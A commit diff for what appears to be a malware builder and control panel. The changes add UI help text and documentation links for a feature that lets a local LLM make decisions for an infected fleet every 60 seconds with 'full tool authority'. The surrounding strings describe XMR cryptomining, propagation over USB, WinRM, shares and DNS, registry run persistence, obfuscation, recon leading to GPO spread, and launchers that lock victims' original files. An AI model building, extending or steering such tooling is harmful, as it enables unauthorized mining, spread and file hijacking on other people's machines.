Add Calibrate AI Control UI and fleet LLM backend wiring.

Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.

server/web/src/help/docAnchors.test.ts

@@ -18,6 +18,8 @@ const HELP_TIP_FIELDS = [
   'registry_run_hklm', 'registry_explorer_run',   'fusion_enabled', 'fusion_prep',
   'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
   'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
+  'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
+  'adaptive_strategy', 'lotl_onion_tiers',
   'forge_operation_mode', 'forge_path_forge',
   'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
   'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',

server/web/src/help/docAnchors.ts

@@ -82,6 +82,13 @@ export const DOC_ANCHORS: Record<string, string> = {
   ai_enabled: '/docs/#alerts-ai',
   ai_ollama_endpoint: '/docs/#alerts-ai',
   ai_model: '/docs/#alerts-ai',
+  calibration_ai_control: '/docs/#alerts-ai',
+  ai_local_endpoint: '/docs/#alerts-ai',
+  calibration_ai_model: '/docs/#alerts-ai',
+  ai_no_context: '/docs/#alerts-ai',
+  ai_interval_sec: '/docs/#alerts-ai',
+  adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
+  lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
 
   // Crucible / agent remote
   firewall_remote: '/docs/#crucible-ops',

server/web/src/help/settingHelp.test.ts

@@ -96,6 +96,11 @@ describe('FIELD_HELP', () => {
     'log_pool_traffic',
     'adapt_to_hardware',
     'adaptive_strategy',
+    'calibration_ai_control',
+    'ai_local_endpoint',
+    'calibration_ai_model',
+    'ai_no_context',
+    'ai_interval_sec',
     'self_healing',
     'firewall_exclusion',
     'firewall_remote',

server/web/src/help/settingHelp.ts

@@ -29,9 +29,19 @@ export const FIELD_HELP: Record<string, string> = {
   forge_lotl_onion:
     'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
   adaptive_strategy:
-    'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
+    'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
   lotl_onion_tiers:
     'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
+  calibration_ai_control:
+    'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
+  ai_local_endpoint:
+    'Local OpenAI-compatible or Ollama API base URL on the control server machine (default http://127.0.0.1:11434/v1). The hub lists models and calls the LLM — workers never talk to Ollama directly.',
+  calibration_ai_model:
+    'LLM model name for fleet AI Control (Calibrate). Click Refresh models after Ollama is running, then pick from the dropdown. Distinct from per-forge ai_model baked into installers.',
+  ai_no_context:
+    'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
+  ai_interval_sec:
+    'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
   forge_path_forge:
     'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
   forge_recommended_defaults: